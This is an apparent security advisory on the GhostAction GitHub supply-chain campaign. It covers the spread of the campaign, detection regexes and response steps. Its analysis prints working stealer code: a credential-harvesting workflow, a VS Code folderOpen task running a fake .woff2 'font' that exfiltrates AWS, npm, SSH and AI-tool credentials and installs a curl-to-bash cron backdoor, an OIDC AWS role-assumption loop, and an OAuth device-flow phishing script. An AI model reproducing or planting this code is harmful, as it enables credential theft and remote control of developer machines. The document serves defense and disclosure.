critical

CVE

Not assigned

CWE

CWE-506, CWE-522, CWE-829, CWE-1357

Affected Surface

  • GitHub repositories, including dormant ones and forks, that any compromised account could write to; GitHub commit search returns about 12,000 repositories with a GhostAction `Add font assets` commit since 14 October 2026
  • Developer machines that opened an affected repository in VS Code with automatic tasks allowed, or ran `node public/fonts/fa-solid-400.woff2`; on macOS and Linux the stealer also installs a five-minute `crontab` C2 poll tagged `#ghc2`
  • GitHub Actions secrets and every credential pattern in the full git history of repositories whose injected `security-audit.yml`, `github_actions_security.yml`, or second-stage workflow actually ran
  • AWS accounts with an IAM role that trusts GitHub's OIDC provider (`token.actions.githubusercontent.com`) broadly enough to accept a token from an attacker-pushed workflow, where the role ARN appears in the job environment
  • Self-hosted runners in repositories that received `cache-cleanup.yml` / `cleanup_cache.yml` (`Runner Maintenance` / `Cleanup Cache`), which read host credential files and install the same cron job
  • Packages published from affected repositories (for example PyPI and crates.io tokens named in `kitao/pyxel`'s injected workflow) if a run completed before the tokens were rotated

GhostAction started as a GitHub Actions secret stealer: take over an account, commit a workflow to every repository it can write to, and POST the repository’s secrets to a bare IP. That part still runs. In the last week the operator added two things the early public write-ups do not cover. The first is a developer-machine stage that is now in about 12,000 repositories. The second, committed on 20 and 21 October, turns leftover workflows into an AWS role-assumption tool built on GitHub Actions OIDC.

Every stage still reports to the same server, 193.32.204.199.

Timeline of the October activity

Date (UTC)What changedSource
8 Octsecurity-audit.yml (“Security Audit”) pushed into tens of thousands of repositories. It reads named secrets and greps the working tree and git log -p --all for credentials. kitao and henrywoo accounts sweep 345 to 346 repos, including kitao/pyxel and uber/athenadriverGitGuardian, StepSecurity, Socket
9 OctGitHub starts blocking the malicious workflow from running. my-github[.]com is registered and resolves to 193.32.204.199GitGuardian, OpenSourceMalware
11 OctReverse-proxy phishing kit on my-github[.]com silently approves an OAuth device flow with repo workflow read:orgOpenSourceMalware
12 to 14 OctExfiltration moves to port 8080 with date-stamped batch tagsOpenSourceMalware
14 to 16 OctStage 2: second workflow + public/fonts/fa-solid-400.woff2 + .vscode/tasks.json committed seconds apartOpenSourceMalware (94 repos); our count below
19 OctA shorter, untagged 23-line stealer variant appearsOur review
20 to 21 Octgithub_actions_security.yml rewritten with permissions: id-token: write and an AWS AssumeRoleWithWebIdentity loop, batch tags og1, og2, oidc_og2Our review

Stage 1: the git-history scan

The 8 October workflow is short. Here is the copy pushed to kitao/pyxel (commit 97670a55), reduced to its structure. The secret names were templated from the repository’s own workflows, which in pyxel’s case meant its publishing credentials:

name: Security Audit
on:
  workflow_dispatch:
  push:
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - name: Audit
        run: |
          out="REPO=$GITHUB_REPOSITORY"
          [ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&..."
          grepped=$(grep -rEiho "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-...|ghp_[A-Za-z0-9]{36}|github_pat_...|glpat-...|AIza...|xox[baprs]-...|SG\....|aws_session_token..." --exclude-dir=.git . 2>/dev/null | sort -u)
          gl=$(git log -p --all 2>/dev/null | head -200000)
          hist=$(echo "$gl" | grep -oiE "<same patterns>" | sort -u | head -300)
          ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150)
          hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150)
          # ... assembled with AKIA_CTX_START / AKIA_CTX_END markers
          curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=monami" || true

Two details matter for responders. fetch-depth: 0 plus git log -p --all means a credential deleted from the tree years ago is still in scope. The -B2 -A2 context around AKIA/ASIA matches exists to pick up the secret access key on the next line. A rotated PYPI_PASSWORD does not cover you if an old AWS key is still in a 2019 commit.

The pyxel owner removed the workflow on 9 October. PyPI shows no pyxel release after 2.9.9 (12 August), so we found no sign that the package itself was republished.

Stage 2: a VS Code task that runs a “font”

OpenSourceMalware described Stage 2 on 16 October from a cluster of 94 repositories. Each one got three commits, under the owner’s identity and a few seconds apart: a second CI workflow (lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, or test-suite.yml), then Add font assets, then Add editor task.

The launcher is a byte-identical .vscode/tasks.json:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",
      "type": "shell",
      "command": "node ./public/fonts/fa-solid-400.woff2",
      "isBackground": true,
      "hide": true,
      "presentation": { "reveal": "never", "panel": "dedicated", "focus": false, "echo": false, "close": true },
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}

The “font” is plain Node.js. This is the version from the ?c=p16n batch on 16 October (server address left in, since it is the indicator):

var home = os.homedir();
var r = "DEVBOX user=" + os.userInfo().username + " host=" + os.hostname() + " repo=" + (process.env.GITHUB_REPOSITORY || "");
var files = [".aws/credentials", ".pypirc", ".npmrc", ".git-credentials", ".netrc",
             ".claude/.credentials.json", ".gemini/oauth_creds.json", ".kube/config"];
// first 3,000 bytes of each, then ~/.ssh/id_rsa and ~/.ssh/id_ed25519 in full
// grep -rhoE 'A[KS]IA...|sk-ant-...|ghp_...|npm_...|pypi-AgEIcHlwaS5vcmc...' $HOME | head -30
Object.keys(process.env).forEach(function(k) {
  if (/^(AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GITHUB_TOKEN|_API_KEY|_TOKEN)/.test(k))
    r += "\nENV:" + k + "=" + process.env[k];
});
cp.execSync("curl -s -m 15 -X POST --data-binary @- http://193.32.204.199:8080/?c=p16n", {input: r, timeout: 20000});
cp.execSync('(crontab -l 2>/dev/null | grep -v ghc2; echo "*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab -');

The cron line matters most. Every five minutes the machine fetches a script from a path keyed by its own hostname and pipes it to bash. Deleting the font file does not remove that job. OpenSourceMalware also pointed out a bug in the environment filter: every alternative is anchored with ^, so _API_KEY and _TOKEN only match variable names that start with an underscore. The credential files and SSH keys are read directly, and that bug does not protect them.

VS Code runs a folderOpen task only in a trusted workspace, and only if automatic tasks are allowed, either through the one-time prompt or task.allowAutomaticTasks: "on". That gate is the only thing between git clone plus “open folder” and a cron backdoor.

How far Stage 2 actually spread

The public figure is 94 repositories. GitHub commit search suggests a much larger number, so we checked. Using read-only API calls, we enumerated every commit matching "Add font assets" since 14 October in time windows small enough to page completely:

UTC dateCommitsNew repositories
14 Oct1,4851,485
15 Oct7,6537,644
16 Oct2,6312,618
17 to 18 Oct33
19 Oct217212
20 to 21 Oct4316

That is 11,978 distinct repositories. We then pulled public/fonts/fa-solid-400.woff2 at the matching commit for a random sample of 2,100 of them. All 2,100 were the GhostAction stealer, containing 193.32.204.199, DEVBOX, and #ghc2. None were real WOFF2 binaries, and none were the obfuscated PolinRider loader that uses the same filename. The sample came from 761 distinct owners. The parallel "Add editor task" search returns 11,818 commits over the same window.

Batch tags in the verified sample:

?c= tagFilesCommitted
reinject79215 Oct
p16n44716 Oct
auto_2026101543015 Oct
auto_2026101438414 to 15 Oct
none (23-line variant)4419 Oct
auto_20261021321 Oct

The first verified font commit is 2026-10-14T21:40:31Z and the latest is 2026-10-21T04:29:47Z. Caveats: commit search only indexes default branches, it matches some unrelated messages such as victims’ own cleanup commits, and we verified about 18% of the enumerated set. A 2,100-for-2,100 sample makes a large false-positive rate unlikely, but the remaining repositories were not checked one by one.

The 19 October variant is a trimmed copy. It drops .netrc, .gemini/oauth_creds.json, .kube/config, and the home-directory grep, and it posts to http://193.32.204.199:8080 without a tag:

var files = [".aws/credentials", ".pypirc", ".npmrc", ".git-credentials", ".claude/.credentials.json"];
// ...
cp.execSync("curl -s -m 15 -X POST --data-binary @- http://193.32.204.199:8080", {input: r, timeout: 20000});

20 and 21 October: Actions OIDC turned into AWS credentials

On 20 and 21 October the operator went back to repositories that still had a 2025-style github_actions_security.yml and rewrote it. Here is justboyke/afvalalert at db1b40d9 (21 October 00:22 UTC). The new file declares id-token: write at the top:

name: Github Actions Security
on:
  workflow_dispatch:
  push:
permissions:
  id-token: write
  contents: read

The run: step then asks the Actions runtime for an OIDC token with an AWS audience, walks every shell variable looking for role ARNs, and tries each one:

TOK=$(curl -s -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
if [ -n "$TOK" ] && [ "$TOK" != "null" ]; then
  for var in $(compgen -v 2>/dev/null); do
    val="${!var}"
    case "$val" in
      arn:aws:iam::*:role/*)
        j=$((j+1)); [ $j -gt 10 ] && break
        RESP=$(aws sts assume-role-with-web-identity --role-arn "$val" \
          --role-session-name "secret$j" --web-identity-token "$TOK" --duration-seconds 3600 2>&1)
        oidc_out="$oidc_out
OIDCS $val (secret $var)
$RESP"
        ;;
    esac
  done
  [ "$n_oidc" -gt 0 ] && curl -s -m 20 -X POST --data-binary "repo=$GITHUB_REPOSITORY
$oidc_out" http://193.32.204.199:8080/?c=oidc_og2
fi
curl -s -X POST -d 'PAT_TOKEN=${{ secrets.PAT_TOKEN }}' http://193.32.204.199:8080/?c=og2

This is the first GhostAction payload that does not need a long-lived cloud secret at all. A team that moved from stored AWS_ACCESS_KEY_ID secrets to OIDC federation has nothing for Stage 1 to steal. If its IAM role trust policy only checks token.actions.githubusercontent.com:aud = sts.amazonaws.com, though, or matches sub with a wildcard such as repo:org/*, an attacker-pushed workflow in any matching repository can mint a fresh token and assume the role. The loop gets its ARNs from environment variables, so a role ARN stored as a repository variable or set with env: in the workflow is enough. --duration-seconds 3600 returns one-hour keys, and the whole STS response, including SecretAccessKey and SessionToken, goes to ?c=oidc_og2.

Commit search shows 304 "Add Github Actions Security workflow" and 392 "Update github actions security workflow" commits since 19 October, plus 117 "Add cleanup workflow". In a sample of 60 of the 300 retrievable github_actions_security.yml files, 11 contained the OIDC and assume-role-with-web-identity code. All 10 files tagged og2 had it, against 1 of the 49 tagged og1, so the AWS loop is the newer revision.

The same batch added or updated a self-hosted runner workflow (cleanup_cache.yml, “Cleanup Cache”) in some repositories:

jobs:
  cleanup:
    runs-on: self-hosted
    steps:
      - name: Cache
        shell: bash
        run: |
          r="rt=$GITHUB_REPOSITORY h=$(hostname) u=$(whoami)"
          for f in ~/.aws/credentials ~/.pypirc ~/.npmrc ~/.git-credentials ~/.claude/.credentials.json; do ...; done
          for k in ~/.ssh/id_rsa ~/.ssh/id_ed25519; do ...; done
          curl -s -m 20 -X POST --data-binary "$r" http://193.32.204.199:8080/?c=og2
          (crontab -l 2>/dev/null | grep -v ghc2; echo "*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/?c=og2/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab - 2>/dev/null || true

Note the cron URL in this revision: /?c=og2/c2/$(hostname) puts the C2 path inside the query string, so the request goes to / rather than /c2/<host>. That looks like a template bug, and the server can paper over it by routing on the query. Hunt for #ghc2 either way.

GitHub’s approval gate is still doing a lot of work. In mammarraza/reactapp, the 21 October runs of Github Actions Security, Security Audit, Repo Health, and Runner Maintenance all ended action_required. Repositories that let first-time or outside contributors run workflows without approval, or that run on self-hosted runners with loose rules, do not get that protection.

Access is being refreshed, not just reused

Two of the 94 repositories OpenSourceMalware analyzed removed Stage 1 on 9 October and still received Stage 2 on 15 October. The adydetra/bangcv-flutter history shows the full loop: Add security audit workflow on 8 October, Remove malicious security audit workflow on 9 October, the three Stage 2 commits at 07:48 UTC on 15 October, and three security: remove ... commits that evening. Removing the workflow does not revoke the credential that pushed it.

The my-github[.]com kit shows one way the operator renews access. After proxying the victim’s password and OTP, injected JavaScript requests a device code and approves it through the victim’s own session:

var CID = "Ov23ctrqCqZ79UaYKwyq";
fetch("/login/device/code", {
  method: "POST",
  body: "client_id=" + CID + "&scope=repo+workflow+read:org"
})
// ... auto-submits /login/device with the user code and authorize=1, then:
fetch("/login/oauth/access_token", {
  method: "POST",
  body: "client_id=" + CID + "&device_code=" + dc +
        "&grant_type=urn:ietf:params:oauth:grant-type:device_code"
})
fetch("https://my-github.com:8443/t?value=" + td.access_token + "&user=" + encodeURIComponent(vu), {mode: "no-cors"})

The workflow scope is what allows writes under .github/workflows/. A single stolen OAuth grant is enough for the next sweep.

Detection

Search your organizations for each stage. Run this on every branch, not only the default:

git log --all --format='%H %an %ad %s' --date=iso | rg -i \
  'Add (security audit|Github Actions Security|font assets?|editor task|cleanup|runner maintenance|build check|CI check|repo health|linting|audit|code review|test suite) workflow|Add font assets?|Add editor task|Update (security audit|github actions security|cleanup|repo health) workflow'

rg -n --hidden '193\.32\.204\.199|#ghc2|DEVBOX|ACTIONS_ID_TOKEN_REQUEST_TOKEN.*sts\.amazonaws\.com|assume-role-with-web-identity|"runOn": *"folderOpen"' \
  .github/workflows .vscode public/fonts 2>/dev/null

file public/fonts/*.woff2 2>/dev/null | rg -v 'Web Open Font Format'

On developer machines and self-hosted runners:

crontab -l 2>/dev/null | rg 'ghc2|193\.32\.204\.199'
rg -l '"runOn": *"folderOpen"' ~/src ~/code ~/projects 2>/dev/null

In AWS CloudTrail, look for AssumeRoleWithWebIdentity events whose userIdentity.identityProvider is token.actions.githubusercontent.com and whose roleSessionName matches ^secret[0-9]+$. Your own workflows are unlikely to use that naming. Correlate the token’s sub claim (repo:<owner>/<repo>:ref:...) with the workflow file that ran.

Network indicators: 193.32.204.199 on ports 80, 3000, 8080, and 8443; my-github[.]com and *.my-github[.]com; OAuth client ID Ov23ctrqCqZ79UaYKwyq. File hashes published by OpenSourceMalware for Stage 2:

SHA-256File
cb3842832267421b9563c7bd32d3582a8fff624860e57c2c9058966735d4da60fa-solid-400.woff2 (reinject)
61eca87b4b4c3e6248dc0fde25ff9cf28637798a8c4be172eaef9843252d12f6fa-solid-400.woff2 (auto_20261015)
92dec8f50d934c338ff3c1bcbf1c9b028aa9561128d0077a101a1ef4dac0f0dbfa-solid-400.woff2 (auto_20261014)
a043f03e89ef55779f4f630138cf5efe1dd37632e176c7a0d9bbfa989ba84eeb.vscode/tasks.json

The p16n, untagged, and auto_20261021 font variants differ in their tag string, so match on content rather than these hashes.

Response

  1. Revoke first, from a clean device. Revoke GitHub sessions, PATs, OAuth grants (especially Ov23ctrqCqZ79UaYKwyq), GitHub App installations, SSH keys, and deploy keys for any account that pushed one of these commits. Otherwise the cleanup is undone within days.
  2. Remove every stage on every branch and fork: the Stage 1 and second-stage workflows, cleanup_cache.yml / cache-cleanup.yml, .vscode/tasks.json, and public/fonts/fa-solid-400.woff2.
  3. Rotate everything Stage 1 could read. That includes Actions secrets and every credential that ever appeared in git history. For package maintainers, check PyPI, npm, and crates.io release history for versions you did not publish.
  4. Tighten OIDC trust now, even if you were not hit. Every role trusted by token.actions.githubusercontent.com should pin sub to an exact repository and ref or environment (repo:org/app:environment:prod), not repo:org/*. Where you can, require job_workflow_ref to point at a reviewed reusable workflow. Then search CloudTrail for the secret<N> session names.
  5. Clean developer machines. Remove the #ghc2 cron entry, set task.allowAutomaticTasks to off, and rotate the AWS, PyPI, npm, git, Claude, Gemini, kube, and SSH credentials the stealer reads. A machine with the cron entry has been taking commands from 193.32.204.199 every five minutes, so rebuild it.
  6. Make the next push harder. Require approval for workflow runs from all outside collaborators, put .github/workflows/** and .vscode/** under CODEOWNERS with required review, and block direct pushes to default branches.

The OIDC revision is the change most teams have not planned for. Moving from stored cloud keys to federated identity takes away GhostAction’s usual loot, but a role whose trust policy accepts any workflow in the organization gives an attacker who can push a YAML file the same access.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References